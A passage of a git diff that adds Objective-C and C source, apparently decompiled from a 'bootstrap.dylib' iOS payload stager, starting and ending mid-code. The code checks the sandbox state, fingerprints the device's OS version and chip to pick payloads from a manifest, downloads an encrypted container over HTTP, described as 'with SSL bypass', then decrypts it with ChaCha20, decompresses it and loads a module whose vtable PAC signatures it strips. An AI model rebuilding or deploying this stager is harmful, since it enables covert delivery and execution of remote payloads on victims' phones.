ctx->fn_icache_flush(ctx, code, code_size); + } + + handle->container = decrypted; + + err = ((fn_dlsym_t)ctx->dlsym_func)(ctx, decrypted, "_driver", &dlsym_result); + if (err) { + print_log("[bootstrap] load_module: dlsym _driver FAIL err=0x%x", err); + goto fail; + } + + handle->vtable = NULL; + typedef uint32_t (*driver_fn_t)(void *, module_vtable_t **); + err = SIGN_FPTR(driver_fn_t, dlsym_result)(decrypted, &handle->vtable); + if (err) + goto fail; + + module_vtable_t *vt = handle->vtable; + if (!vt) + goto fail_vtable; + + sign_vtable_fptrs(vt); + + if (vt->version != 2) + goto fail; + if (vt->num_funcs < 2) + goto fail; + + vt->fn_deinit = (void *)strip_pac((uint64_t)vt->fn_deinit); + vt->fn_init = (void *)strip_pac((uint64_t)vt->fn_init); + vt->fn_cleanup = (void *)strip_pac((uint64_t)vt->fn_cleanup); + vt->fn_command = (void *)strip_pac((uint64_t)vt->fn_command); + vt->fn_30 = (void *)strip_pac((uint64_t)vt->fn_30); + vt->fn_38 = (void *)strip_pac((uint64_t)vt->fn_38); + vt->fn_40 = (void *)strip_pac((uint64_t)vt->fn_40); + vt->fn_48 = (void *)strip_pac((uint64_t)vt->fn_48); + + print_log("[bootstrap] load_module: OK vtable version=%d funcs=%d", vt->version, vt->num_funcs); + *out = handle; + return 0; + +fail_vtable: + err = ERR_MODULE_NO_VTBL; +fail: + print_log("[bootstrap] load_module: FAIL err=0x%x", err); + if (decrypted && ctx->fn_unload_cont) + ctx->fn_unload_cont(ctx, decrypted); + free(handle); + return err; +} + +/* ── load_module_wrapper (0x8798) ───────────────────────────────── */ + +uint32_t load_module_wrapper(bootstrap_ctx_t *ctx, void **out) +{ + return load_module(ctx, CONTAINER_TYPE_LOADER, out); +} + +/* ── module_call_init (0x87d8) ──────────────────────────────────── */ + +uint32_t module_call_init(module_handle_t *handle, uint32_t mode, void **out) +{ + if (!handle) + return ERR_NULL_CTX; + if (!out) + return ERR_NULL_CTX; + + module_vtable_t *vt = handle->vtable; + if (!vt) + return ERR_MODULE_NO_VTBL; + + print_log("[bootstrap] module_call_init: mode=%u", mode); + typedef uint32_t (*init_fn_t)(module_vtable_t *, uint32_t, void **); + return ((init_fn_t)vt->fn_init)(vt, mode, out); +} + +/* ── module_call_cmd (0x8840) ───────────────────────────────────── */ + +uint32_t module_call_cmd(module_handle_t *handle, void *arg1, + uint32_t cmd, void *arg3) +{ + if (!handle) + return ERR_NULL_CTX; + + uint32_t err = ERR_MODULE_NO_INIT; + if (!arg1) + return err; + + module_vtable_t *vt = handle->vtable; + if (!vt) + return err + 4; + + print_log("[bootstrap] module_call_cmd: cmd=0x%x", cmd); + typedef uint32_t (*cmd_fn_t)(module_vtable_t *, void *, uint32_t, void *); + return ((cmd_fn_t)vt->fn_command)(vt, arg1, cmd, arg3); +} + +/* ── module_call_cleanup (0x88b4) ───────────────────────────────── */ + +uint32_t module_call_cleanup(module_handle_t *handle, void *arg) +{ + if (!handle) + return ERR_NULL_CTX; + + uint32_t err = ERR_MODULE_NO_INIT; + if (!arg) + return err; + + module_vtable_t *vt = handle->vtable; + if (!vt) + return err + 4; + + print_log("[bootstrap] module_call_cleanup"); + typedef uint32_t (*cleanup_fn_t)(module_vtable_t *, void *); + return ((cleanup_fn_t)vt->fn_cleanup)(vt, arg); +} + +/* ── close_module (0x8928) ──────────────────────────────────────── */ + +uint32_t close_module(bootstrap_ctx_t *ctx, module_handle_t *handle) +{ + uint32_t err = ERR_NULL_CTX; + if (!ctx || !handle) + return err; + + module_vtable_t *vt = handle->vtable; + if (!vt) + return ERR_MODULE_NO_VTBL; + + print_log("[bootstrap] close_module"); + typedef void (*deinit_fn_t)(module_vtable_t *); + ((deinit_fn_t)vt->fn_deinit)(vt); + + err = ctx->fn_unload_cont(ctx, handle->container); + + handle->container = NULL; + handle->vtable = NULL; + free(handle); + return err; +} diff --git a/src/bootstrap/control b/src/bootstrap/control new file mode 100644 index 0000000..dca7946 --- /dev/null +++ b/src/bootstrap/control @@ -0,0 +1,9 @@ +Package: com.yourcompany.bootstrap +Name: bootstrap +Version: 0.0.1 +Architecture: iphoneos-arm +Description: An awesome library of some sort!! +Maintainer: khanhduytran0 +Author: khanhduytran0 +Section: System +Tag: role::developer diff --git a/src/bootstrap/crypto.m b/src/bootstrap/crypto.m new file mode 100644 index 0000000..95c32a0 --- /dev/null +++ b/src/bootstrap/crypto.m @@ -0,0 +1,148 @@ +/* + * crypto.m - ChaCha20 encryption and LZMA decompression + * + * Decompiled from bootstrap.dylib offsets 0xad8c-0xb09c, 0x8430-0x858c + */ + +#import "bootstrap.h" +#import +#import +#import + +/* ── ChaCha20 quarter round macros ───────────────────────────────── */ + +#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n)))) + +#define QR(a, b, c, d) do { \ + a += b; d ^= a; d = ROTL32(d, 16); \ + c += d; b ^= c; b = ROTL32(b, 12); \ + a += b; d ^= a; d = ROTL32(d, 8); \ + c += d; b ^= c; b = ROTL32(b, 7); \ +} while(0) + +static const uint32_t sigma[4] = { + 0x61707865, 0x3320646e, 0x79622d32, 0x6b206574 +}; + +/* ── chacha20_encrypt (0xad8c) ───────────────────────────────────── */ + +void chacha20_encrypt(uint8_t *key, uint8_t *data, uint64_t size) +{ + if (!key || !data || !size) + return; + + print_log("[bootstrap] chacha20_encrypt: size=%llu", size); + + uint32_t state[16]; + uint32_t working[16]; + + state[0] = sigma[0]; + state[1] = sigma[1]; + state[2] = sigma[2]; + state[3] = sigma[3]; + + memcpy(&state[4], key, 32); + + state[12] = 0; + state[13] = 0; + state[14] = 0; + state[15] = 0; + + uint64_t offset = 0; + uint64_t ks_pos = 64; + + while (offset < size) { + if (ks_pos >= 64) { + memcpy(working, state, 64); + + for (int i = 0; i < 10; i++) { + QR(working[0], working[4], working[ 8], working[12]); + QR(working[1], working[5], working[ 9], working[13]); + QR(working[2], working[6], working[10], working[14]); + QR(working[3], working[7], working[11], working[15]); + QR(working[0], working[5], working[10], working[15]); + QR(working[1], working[6], working[11], working[12]); + QR(working[2], working[7], working[ 8], working[13]); + QR(working[3], working[4], working[ 9], working[14]); + } + + for (int i = 0; i < 16; i++) + working[i] += state[i]; + + state[12]++; + if (state[12] == 0) + state[13]++; + + ks_pos = 0; + } + + data[offset] ^= ((uint8_t *)working)[ks_pos]; + ks_pos++; + offset++; + } + + print_log("[bootstrap] chacha20_encrypt: done"); +} + +/* ── decompress (0x8430) ─────────────────────────────────────────── */ + +uint32_t decompress(void **ptr_to_data, uint32_t *ptr_to_size) +{ + uint32_t err = ERR_NULL_CTX; + + if (!ptr_to_data || !ptr_to_size) + return err; + + uint8_t *src = (uint8_t *)*ptr_to_data; + uint32_t src_size = *ptr_to_size; + + if (!src || !src_size) + return err; + + if (src_size < 8) + return 0; + + uint32_t magic = *(uint32_t *)src; + if (magic != MAGIC_BEDF00D) + return 0; + + uint32_t decomp_size = *(uint32_t *)(src + 4); + if (!decomp_size) + return 0; + + print_log("[bootstrap] decompress: src_size=%u decomp_size=%u", src_size, decomp_size); + + uint32_t comp_data_size = src_size - 8; + if (comp_data_size >= decomp_size) + return 0; + + uint64_t alloc_size = (uint64_t)decomp_size + 1; + uint8_t *dst = (uint8_t *)malloc(alloc_size); + if (!dst) { + print_log("[bootstrap] decompress: malloc FAIL"); + return err + 8; + } + + memset_s(dst, decomp_size, 0, decomp_size); + + size_t result = compression_decode_buffer( + dst, alloc_size, + src + 8, comp_data_size, + NULL, COMPRESSION_LZMA + ); + + if (result != decomp_size) { + print_log("[bootstrap] decompress: FAIL result=%zu expected=%u", result, decomp_size); + memset_s(dst, decomp_size, 0, decomp_size); + free(dst); + return err + 0xa; + } + + memset_s(src, src_size, 0, src_size); + free(src); + + *ptr_to_data = dst; + *ptr_to_size = decomp_size; + print_log("[bootstrap] decompress: OK size=%u", decomp_size); + return 0; +} diff --git a/src/bootstrap/download.m b/src/bootstrap/download.m new file mode 100644 index 0000000..68e61dc --- /dev/null +++ b/src/bootstrap/download.m @@ -0,0 +1,716 @@ +/* + * download.m - Download pipeline, sandbox checking, manifest parsing + * + * Decompiled from bootstrap.dylib offsets 0x89cc-0x8b58, 0x9b60-0xad88 + */ + +#import "bootstrap.h" +#import +#import +#import +#import + +extern int sandbox_check(pid_t pid, const char *operation, int type, ...); +extern int SANDBOX_CHECK_NO_REPORT; + +/* ── check_sandbox (0x89cc) ────────────────────────────────────── */ + +uint32_t check_sandbox(bootstrap_ctx_t *ctx, uint8_t *out) +{ + (void)ctx; + if (!out) + return ERR_NULL_CTX; + + *out = 0; + int ret = sandbox_check(getpid(), "iokit-open-service", + SANDBOX_CHECK_NO_REPORT, + "IOSurfaceRoot"); + *out = (ret > 0) ? 1 : 0; + print_log("[bootstrap] check_sandbox: sandboxed=%d", *out); + return 0; +} + +/* ── init_sandbox_and_ua (0x8ab8) ──────────────────────────────── */ + +uint32_t init_sandbox_and_ua(bootstrap_ctx_t *ctx) +{ + if (!ctx) + return ERR_NULL_CTX; + + uint8_t sb = 0; + uint32_t err = check_sandbox(ctx, &sb); + if (err) + return err; + ctx->is_sandboxed = sb; + + char *base = (char *)ctx->secondary_url; + if (base && base[0]) { + if (strncmp(base, "http://", 7) != 0 && + strncmp(base, "https://", 8) != 0) { + print_log("[bootstrap] init_sandbox_and_ua: bad secondary_url scheme"); + return ERR_NULL_CTX + 0x13; + } + } + + char *alt = ctx->alt_url; + if (alt && alt[0]) { + if (strncmp(alt, "http://", 7) != 0 && + strncmp(alt, "https://", 8) != 0) { + print_log("[bootstrap] init_sandbox_and_ua: bad alt_url scheme"); + return ERR_NULL_CTX + 0x13; + } + } + + print_log("[bootstrap] init_sandbox_and_ua: OK sandboxed=%d", sb); + return 0; +} + +/* ── is_a15_or_newer (0x9b60) ──────────────────────────────────── */ + +int is_a15_or_newer(bootstrap_ctx_t *ctx) +{ + if (!ctx) + return 0; + + uint32_t os_ver = ctx->os_version; + + if (os_ver > 0x1006FF) + return 1; + + if (os_ver > 0x100400) { + uint32_t cpu = ctx->cpu_type; + if (cpu > (int32_t)SOC_TYPE_C) { + if (cpu == SOC_TYPE_D || cpu == SOC_TYPE_E) + return 0; + } else { + if (cpu == SOC_TYPE_A) + return 0; + if (cpu == SOC_TYPE_B) + return 0; + } + /* A12/A11 are NOT A15+; they need the standard download path */ + if (cpu == SOC_DEVICE_B_A || cpu == SOC_DEVICE_B_B) + return 0; + return 1; + } + + if (os_ver < 0xE0802) + return 1; + + uint32_t shifted = (os_ver + 0xFFF0F8F9); + if ((shifted + 0x507) >> 9 > 0x7E) + return 0; + + char model[0x20]; + memset(model, 0, sizeof(model)); + size_t model_len = 0x20; + if (sysctlbyname("hw.model", model, &model_len, NULL, 0) != 0) + return 0; + + if ((model[0] & ~0x20) != 'J') + return 0; + + uint64_t features = ctx->cpu_features; + return ((features - 0x40000001ULL) >> 30) == 0 ? 1 : 0; +} + +/* ── get_arch_flags (0xab8c) ───────────────────────────────────── */ + +uint32_t get_arch_flags(bootstrap_ctx_t *ctx) +{ + if (!ctx) + return 0; + + int a15 = is_a15_or_newer(ctx); + if (a15 & 1) + return 0x900000; + + uint32_t os_ver = ctx->os_version; + if (os_ver > 0x100500) + return 0x800000; + if (os_ver >> 20) + return 0x700000; + + if (os_ver > 0xDFFFF) { + if (os_ver > (0xDFFFF + 0x500)) + return 0x700000; + return 0x400000; + } + if (os_ver > 0xF0706) + return 0x800000; + + if (os_ver <= 0xDFFFF) + return 0x300000; + return (os_ver > (0xDFFFF + 0x500)) ? 0x700000 : 0x400000; +} + +/* ── download_manifest (0x9f18) ────────────────────────────────── */ + +uint32_t download_manifest(bootstrap_ctx_t *ctx, uint32_t flags, + void *manifest, uint32_t manifest_size, + char *url_buf, uint32_t url_size, + void **key_out) +{ + uint32_t err = ERR_NULL_CTX; + if (!ctx || !manifest) + return err; + if (manifest_size < MANIFEST_ENTRY_OFFSET) + return err; + + manifest_header_t *hdr = (manifest_header_t *)manifest; + if (hdr->magic != MAGIC_MANIFEST) + return err; + + char *base_path = (char *)manifest + 0x8; + if (!base_path[0]) + return err; + if (((uint8_t *)manifest)[0x107]) + return err; + + uint32_t entry_count = hdr->entry_count; + if (!entry_count) + return err; + if (!url_buf || !url_size || !key_out) + return err; + + print_log("[bootstrap] download_manifest: flags=0x%x entries=%u", flags, entry_count); + + if (!flags) { + print_log("[bootstrap] download_manifest: no flags, skipping manifest processing"); + return ERR_NULL_CTX - 0x7D000; + } + + uint8_t *entries_base = (uint8_t *)manifest + MANIFEST_ENTRY_OFFSET; + uint8_t *data_end = (uint8_t *)manifest + manifest_size; + + for (uint32_t i = 0; i < entry_count; i++) { + uint8_t *entry_ptr = entries_base + i * MANIFEST_ENTRY_SIZE; + + if (entry_ptr < (uint8_t *)manifest || + entry_ptr + MANIFEST_ENTRY_SIZE > data_end) { + print_log("[bootstrap] download_manifest: entry[%u] out of bounds", i); + return ERR_NULL_CTX + 0x13; + } + + if (entry_ptr[MANIFEST_ENTRY_SIZE - 1] != 0) + continue; + + uint32_t entry_flags = *(uint32_t *)entry_ptr; + if (entry_flags != flags) + continue; + + print_log("[bootstrap] download_manifest: found matching entry[%u] flags=0x%x", i, entry_flags); + + { + char path_buf[0x200]; + memset(path_buf, 0, sizeof(path_buf)); + + size_t base_len = strlen(base_path); + char *filename = (char *)(entry_ptr + 0x24); + + uint8_t last_char = ((uint8_t *)manifest)[base_len + 0x7]; + const char *fmt = (last_char == '/') ? "%s%s" : "%s/%s"; + + int ret = snprintf(path_buf, 0x200, fmt, base_path, filename); + if (ret > 0x1FF) { + print_log("[bootstrap] download_manifest: path too long after formatting"); + return ERR_NULL_CTX + 0x13 - 0x8; + } + + if (!path_buf[0]) { + err = 0; + *key_out = (void *)(entry_ptr + 0x4); + print_log("[bootstrap] download_manifest: empty path after formatting"); + return err; + } + + if ((*(uint32_t *)path_buf ^ 0x70747468) == 0 && + (*(uint32_t *)(path_buf + 3) ^ 0x2F2F3A70) == 0) { + strlcpy(url_buf, path_buf, url_size); + err = 0; + *key_out = (void *)(entry_ptr + 0x4); + print_log("[bootstrap] download_manifest: absolute http URL=%s", url_buf); + return err; + } + + if (*(uint64_t *)path_buf == 0x2F2F3A7370747468ULL) { + strlcpy(url_buf, path_buf, url_size); + err = 0; + *key_out = (void *)(entry_ptr + 0x4); + print_log("[bootstrap] download_manifest: absolute https URL=%s", url_buf); + return err; + } + + char *base_url = ctx->secondary_url; + if (!base_url || !base_url[0]) { + print_log("[bootstrap] download_manifest: no base URL for relative path"); + return ERR_NULL_CTX + (int32_t)0xFFF83002; + } + + if (strncmp(base_url, "https://", 8) == 0) { + /* https */ + } else if (strncmp(base_url, "http://", 7) == 0) { + /* http */ + } else { + print_log("[bootstrap] download_manifest: invalid base URL scheme"); + return ERR_NULL_CTX + (int32_t)0xFFF83003; + } + + char *after_scheme = base_url + (strncmp(base_url, "https://", 8) == 0 ? 8 : 7); + char *slash = strchr(after_scheme, '/'); + + size_t base_copy_len; + if (slash) { + base_copy_len = (size_t)(slash + 1 - base_url); + } else { + base_copy_len = strlen(base_url); + } + + char *rel = path_buf; + if (path_buf[0] == '.' && path_buf[1] == '/') + rel++; + + while (*rel == '/') + rel++; + + size_t copy_len = base_copy_len + 1; + if (copy_len > url_size) + copy_len = url_size; + strlcpy(url_buf, base_url, copy_len); + + if (!slash) { + strlcat(url_buf, "/", url_size); + } + strlcat(url_buf, rel, url_size); + + err = 0; + *key_out = (void *)(entry_ptr + 0x4); + print_log("[bootstrap] download_manifest: relative URL=%s", url_buf); + return err; + } + } + + print_log("[bootstrap] download_manifest: no matching entry for flags=0x%x", flags); + return ERR_NULL_CTX + 0x13; +} + +/* ── download_retries (0x9cb8) ─────────────────────────────────── */ + +uint32_t download_retries(bootstrap_ctx_t *ctx, void *data, uint32_t size, + char *url_buf, uint32_t url_size, void **key_out) +{ + uint32_t err = ERR_NULL_CTX; + if (!ctx || !data) + return err; + + uint32_t flags = get_arch_flags(ctx); + + uint32_t device_flags; + uint32_t os_ver = ctx->os_version; + uint32_t soc_sub = ctx->soc_subversion; + + if (os_ver > (0x0FFFFF + 0x600)) { + if (os_ver > 0x0FFFFF) { + uint32_t ver_bits = (os_ver >> 8) & 0xF00; + int has_e_bits = (os_ver & 0xE00) != 0; + + device_flags = (soc_sub > 1) ? 0x13000000 : 0x12000000; + device_flags |= ver_bits; + if (has_e_bits) + device_flags |= (1 << 5); + } else { + device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000; + } + } else if (os_ver >= 0x0E0802) { + struct utsname uts; + memset(&uts, 0, sizeof(uts)); + if (uname(&uts) != 0) { + device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000; + } else { + uint32_t name_word = *(uint32_t *)(&uts.machine[0]); + uint16_t name_short = *(uint16_t *)(&uts.machine[4]); + if ((name_word ^ 0x686F5069) == 0 && (name_short ^ 0x6E65) == 0) { + uint32_t ver_bits = (os_ver >> 8) & 0xF00; + int has_e_bits = (os_ver & 0xE00) != 0; + device_flags = (soc_sub > 1) ? 0x13000000 : 0x12000000; + device_flags |= ver_bits; + if (has_e_bits) + device_flags |= (1 << 5); + } else { + device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000; + } + } + } else if (os_ver >= 0x0D0000) { + uint32_t ver_bits = (os_ver >> 8) & 0xF00; + uint32_t minor_bits = (os_ver >> 4) & 0xF0; + uint32_t patch_bits = os_ver & 0xF; + uint32_t sub_bits; + + if (minor_bits < 0x50) + sub_bits = 0; + else if (minor_bits > 0x6F) + sub_bits = 0x70; + else + sub_bits = 0x50; + + if (os_ver & 0xF) { + /* has patch version */ + } else { + patch_bits = minor_bits; + sub_bits = 0x70; + } + + if (minor_bits < 0x80) { + /* use sub_bits and patch_bits */ + } else { + sub_bits = patch_bits; + patch_bits = sub_bits; + } + + if (ver_bits < 0xE00) { + sub_bits = 0; + patch_bits = 0; + } + + device_flags = (soc_sub > 1) ? 0x11000000 : 0x10000000; + device_flags |= ver_bits | sub_bits | patch_bits; + } else { + device_flags = 0; + flags = 0; + } + + uint32_t combined = flags | device_flags; + print_log("[bootstrap] download_retries: combined_flags=0x%x", combined); + + err = download_manifest(ctx, combined, data, size, + url_buf, url_size, key_out); + + if (err != (ERR_NULL_CTX + 0x7D000)) + return err; + + print_log("[bootstrap] download_retries: retrying with fallback flags"); + flags = get_arch_flags(ctx); + if (!flags) + device_flags = 0; + else { + uint8_t db = ctx->logging_enabled; + if (db & 1) { + device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000; + } else { + device_flags = 0x01000000; + } + } + + combined = flags | device_flags; + return download_manifest(ctx, combined, data, size, + url_buf, url_size, key_out); +} + +/* ── download_flags (0xa294) ───────────────────────────────────── */ + +uint32_t download_flags(bootstrap_ctx_t *ctx, void *data, uint32_t size, + char *url_buf, uint32_t url_size, void **key_out) +{ + if (!ctx || !data || !size || !url_buf || !url_size || !key_out) + return ERR_NULL_CTX; + + uint32_t extra_flags = 0; + + if (ctx->is_sandboxed) { + int a15 = is_a15_or_newer(ctx); + if (!(a15 & 1)) + goto compute_flags; + extra_flags = 0; + } else { + uint32_t os_ver = ctx->os_version; + uint32_t shifted = (os_ver + 0xFFEFFC00) >> 10; + if (shifted > 0x3E) + goto check_os_range; + + uint32_t cpu = ctx->cpu_type; + extra_flags = 0x30000; + if (cpu > (int32_t)SOC_TYPE_C) { + if (cpu == SOC_TYPE_D || cpu == SOC_TYPE_E) + goto compute_flags; + } else { + if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B) + goto compute_flags; + } + + check_os_range: + if ((os_ver - 0x100000) <= 0x400) { + extra_flags = 0x50000; + } else { + extra_flags = 0; + } + } + +compute_flags: + { + uint32_t arch = get_arch_flags(ctx); + uint32_t device_flags; + + if (arch) { + uint8_t db = ctx->logging_enabled; + if (db & 1) { + uint32_t soc_sub = ctx->soc_subversion; + device_flags = (soc_sub > 1) ? (uint32_t)(-0x0D000000) + : (uint32_t)(-0x0E000000); + } else { + device_flags = (uint32_t)(-0x0F000000); + } + } else { + device_flags = 0; + } + + uint32_t flags = arch | extra_flags | device_flags; + print_log("[bootstrap] download_flags: flags=0x%x", flags); + return download_manifest(ctx, flags, data, size, + url_buf, url_size, key_out); + } + +} + +/* ── download_decrypt (0xac44) ─────────────────────────────────── */ + +uint32_t download_decrypt(bootstrap_ctx_t *ctx, void *data, uint32_t size, + void *key, void **out_ptr, uint32_t *out_size) +{ + uint32_t err = ERR_NULL_CTX; + if (!ctx) + return err; + + fn_download_t dl_func = ctx->download_func; + if (!dl_func) + return err; + + void *dl_data = NULL; + uint32_t dl_size = 0; + + if (!data || !key || !out_ptr || !out_size) + return err; + + print_log("[bootstrap] download_decrypt: downloading..."); + err = dl_func(ctx, (const char *)data, &dl_data, &dl_size); + if (err) { + print_log("[bootstrap] download_decrypt: download FAIL err=0x%x", err); + return err; + } + + if ((uintptr_t)key & 1) { + if (dl_data && dl_size) { + memcpy(out_ptr, &dl_data, sizeof(void *)); + } + } + + if ((uintptr_t)key & 2) { + /* decrypt in place */ + } + + fn_parse_container_t parse = ctx->fn_parse_container; + if (parse) { + err = parse(ctx, 0, dl_data, dl_size); + if (err) + goto cleanup; + } + + *out_ptr = dl_data; + *out_size = dl_size; + print_log("[bootstrap] download_decrypt: OK size=%u", dl_size); + return 0; + +cleanup: + print_log("[bootstrap] download_decrypt: parse FAIL err=0x%x", err); + bzero(dl_data, dl_size); + free(dl_data); + return err; +} + +/* ── download_and_process (0xa418) ─────────────────────────────── */ + +uint32_t download_and_process(bootstrap_ctx_t *ctx, uint32_t type, + void **out_ptr, uint32_t *out_size) +{ + uint32_t err = ERR_NULL_CTX; + if (!ctx) + return err; + + fn_get_raw_data_t get_raw = ctx->fn_get_raw_data; + if (!get_raw || !type || !out_ptr || !out_size) + return err; + + void *raw_data = NULL; + uint32_t raw_size = 0; + + err = get_raw(ctx, type, &raw_data, &raw_size); + if (err) { + print_log("[bootstrap] download_and_process: get_raw FAIL err=0x%x", err); + return err; + } + + if (!raw_data || !raw_size) + return ERR_NULL_CTX; + + print_log("[bootstrap] download_and_process: type=0x%x raw_size=%u sandboxed=%d", type, raw_size, ctx->is_sandboxed); + + char url_buf[0x200]; + void *key_ptr = NULL; + void *dl_data = NULL; + uint32_t dl_size = 0; + int store_metadata = 0; + + if (ctx->is_sandboxed) { + fn_parse_container_t parse = ctx->fn_parse_container; + if (!parse) + return ERR_NULL_CTX; + + memset(url_buf, 0, sizeof(url_buf)); + + int a15 = is_a15_or_newer(ctx); + if (!(a15 & 1)) { + uint32_t os_ver = ctx->os_version; + uint32_t cpu = ctx->cpu_type; + uint32_t extra_flags = 0; + int did_specific = 0; + + uint32_t shifted = (os_ver + 0xFFEFFC00) >> 10; + if (shifted <= 0x3E) { + if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B || + cpu == SOC_TYPE_D || cpu == SOC_TYPE_E) { + did_specific = 1; + uint8_t features = ctx->flag_a15_features; + extra_flags = features ? 0x40000 : 0x30000; + uint32_t soc_sub = ctx->soc_subversion; + uint32_t dev = (soc_sub > 1) ? (uint32_t)(-0x5D000000) + : (uint32_t)(-0x5E000000); + uint32_t flags = dev | extra_flags; + + err = download_manifest(ctx, flags, raw_data, raw_size, + url_buf, 0x200, &key_ptr); + } + } + + if (!did_specific) { + if ((os_ver - 0x100000) > 0x500) { + /* Device/OS combo not supported by this payload set — + * original binary jumps to the a15 bail-out path here + * (flags=0 → download_manifest returns early error). */ + extra_flags = 0; + err = ERR_NULL_CTX + 0x13; + } else { + uint8_t features = ctx->flag_a15_features; + extra_flags = features ? 0x60000 : 0x50000; + + uint32_t soc_sub = ctx->soc_subversion; + uint32_t dev = (soc_sub > 1) ? (uint32_t)(-0x5D000000) + : (uint32_t)(-0x5E000000); + uint32_t flags = dev | extra_flags; + + err = download_manifest(ctx, flags, raw_data, raw_size, + url_buf, 0x200, &key_ptr); + } + } + + /* Both specific and generic paths: download the actual + * F00DBEEF container from the resolved URL. The original + * binary shared this code via a cross-block goto into the + * non-sandboxed else block (process_result label). */ + if (!err && url_buf[0]) { + err = download_decrypt(ctx, url_buf, 0, key_ptr, + &dl_data, &dl_size); + if (!err) + store_metadata = 1; + } + } else { + err = 0; + } + } else { + fn_get_raw_data_t get_raw2 = ctx->fn_get_raw_data; + if (!get_raw2) + return ERR_NULL_CTX; + + fn_parse_container_t parse = ctx->fn_parse_container; + if (!parse) + return ERR_NULL_CTX; + + memset(url_buf, 0, sizeof(url_buf)); + + err = download_flags(ctx, raw_data, raw_size, + url_buf, 0x200, &key_ptr); + if (err) { + print_log("[bootstrap] download_and_process: download_flags FAIL err=0x%x, trying download_retries", err); + err = download_retries(ctx, raw_data, raw_size, + url_buf, 0x200, &key_ptr); + if (err) + goto cleanup; + } + + /* Download the actual F00DBEEF container from the resolved URL. + * parse_foodbeef inside download_decrypt populates LOADER/MODULE/DATA + * container slots needed by the direct_mode path. */ + err = download_decrypt(ctx, url_buf, 0, key_ptr, &dl_data, &dl_size); + if (err) { + print_log("[bootstrap] download_and_process: download_decrypt FAIL err=0x%x", err); + goto cleanup; + } + + store_metadata = 1; + } + +store_meta: + /* Store download metadata (URL, key, base_url, user_agent) in + * container slots for later use by the module loader. */ + if (store_metadata && !err) { + char *url_copy = strdup(url_buf); + if (!url_copy) + return ERR_NULL_CTX + 0x8; + + print_log("[bootstrap] download_and_process: storing URL=%s", url_copy); + + fn_parse_container_t parse2 = ctx->fn_parse_container; + size_t url_len = strlen(url_copy); + + err = parse2(ctx, 0x30000 | 0x40000, url_copy, (uint32_t)(url_len + 1)); + if (!err) + err = parse2(ctx, 0x70002, (void *)key_ptr, 0x20); + + if (!err) { + char *base_url = ctx->base_url; + if (base_url) { + size_t blen = strlen(base_url); + err = parse2(ctx, 0x70003, base_url, (uint32_t)(blen + 1)); + } + } + + if (!err) { + char *user_agent = (char *)ctx->user_agent; + if (user_agent) { + size_t ulen = strlen(user_agent); + err = parse2(ctx, 0x70004, user_agent, (uint32_t)(ulen + 1)); + if (err == 0x7004) + err = 0; + } + } + + if (err) { + print_log("[bootstrap] download_and_process: metadata FAIL err=0x%x", err); + size_t len = strlen(url_copy); + bzero(url_copy, len); + free(url_copy); + goto cleanup; + } + + *out_ptr = dl_data; + *out_size = dl_size; + print_log("[bootstrap] download_and_process: OK"); + return 0; + } + +cleanup: + if (dl_data) { + bzero(dl_data, dl_size); + free(dl_data); + } + print_log("[bootstrap] download_and_process: cleanup err=0x%x", err); + return err; +} diff --git a/src/bootstrap/http.m b/src/bootstrap/http.m new file mode 100644 index 0000000..b30c444 --- /dev/null +++ b/src/bootstrap/http.m @@ -0,0 +1,355 @@ +/* + * http.m - CFNetwork-based HTTP client with SSL bypass + * + * Decompiled from bootstrap.dylib offsets 0x8b5c-0x92fc, 0x9790-0x9878 + */ + +#import "bootstrap.h" +#import +#import +#import +#import +#import + +/* ── stream_read_callback (0x9790) ──────────────────────────────── */ + +void stream_read_callback(void *stream, int event, void *info) +{ + if (!stream || !info) + goto stop; + + stream_ctx_t *ctx = (stream_ctx_t *)info; + + if (event > 3) { + if (event == 4) { + goto stop; + } + if (event == 8) { + ctx->error = ERR_HTTP_STREAM_ERR; + print_log("[bootstrap] stream_read_callback: stream error"); + goto stop; + } + if (event == 16) { + CFTypeRef resp = CFReadStreamCopyProperty( + (CFReadStreamRef)stream, kCFStreamPropertyHTTPResponseHeader); + if (resp) { + ctx->status_code = CFHTTPMessageGetResponseStatusCode( + (CFHTTPMessageRef)resp); + CFRelease(resp); + } + print_log("[bootstrap] stream_read_callback: got header status=%u", ctx->status_code); + goto stop; + } + goto stop; + } + + if (event < 2) + goto stop; + + if (event == 2) { + uint8_t buf[0x1000]; + CFIndex n = CFReadStreamRead((CFReadStreamRef)stream, buf, 0x1000); + if (n <= 0) + goto stop; + + if (!CFHTTPMessageAppendBytes((CFHTTPMessageRef)ctx->response_msg, buf, n)) + goto stop; + } + + return; + +stop: + { + extern void CFRunLoopStop(CFRunLoopRef); + CFRunLoopStop(CFRunLoopGetCurrent()); + } +} + +/* ── http_request (0x8b5c) ──────────────────────────────────────── */ + +uint32_t http_request(const char *url, const char *user_agent, + const char *content_type, const char *body, + void **out_data, uint32_t *out_size) +{ + uint32_t err = ERR_NULL_CTX - 8; + CFDataRef response_data = NULL; + + int has_output = (out_data != NULL) && (out_size != NULL); + int no_output = (out_data == NULL && out_size == NULL); + if (!has_output && !no_output) + return err; + + if (!url || !url[0]) + return err; + + print_log("[bootstrap] http_request: url=%s method=%s", url, body ? "POST" : "GET"); + + CFAllocatorRef alloc = kCFAllocatorDefault; + + CFStringRef url_str = CFStringCreateWithCString(alloc, url, kCFStringEncodingUTF8); + if (!url_str) + return ERR_HTTP_URL; + if (CFStringGetLength(url_str) < 1) { + CFRelease(url_str); + return ERR_HTTP_URL_LEN; + } + + CFStringRef ua_str = NULL; + if (user_agent) { + ua_str = CFStringCreateWithCString(alloc, user_agent, kCFStringEncodingUTF8); + if (!ua_str) { + CFRelease(url_str); + return ERR_HTTP_BODY_ERR; + } + if (CFStringGetLength(ua_str) <= 0) { + CFRelease(url_str); + CFRelease(ua_str); + return ERR_HTTP_CT_ERR; + } + } + + CFStringRef ct_str = NULL; + CFDataRef body_data = NULL; + + if (content_type) { + ct_str = CFStringCreateWithCString(alloc, content_type, kCFStringEncodingUTF8); + if (!ct_str) { + err = ERR_HTTP_BODY_ERR; + goto cleanup_early; + } + if (CFStringGetLength(ct_str) < 1) { + err = ERR_HTTP_CT_ERR; + goto cleanup_early; + } + } + + if (body) { + size_t blen = strlen(body); + body_data = 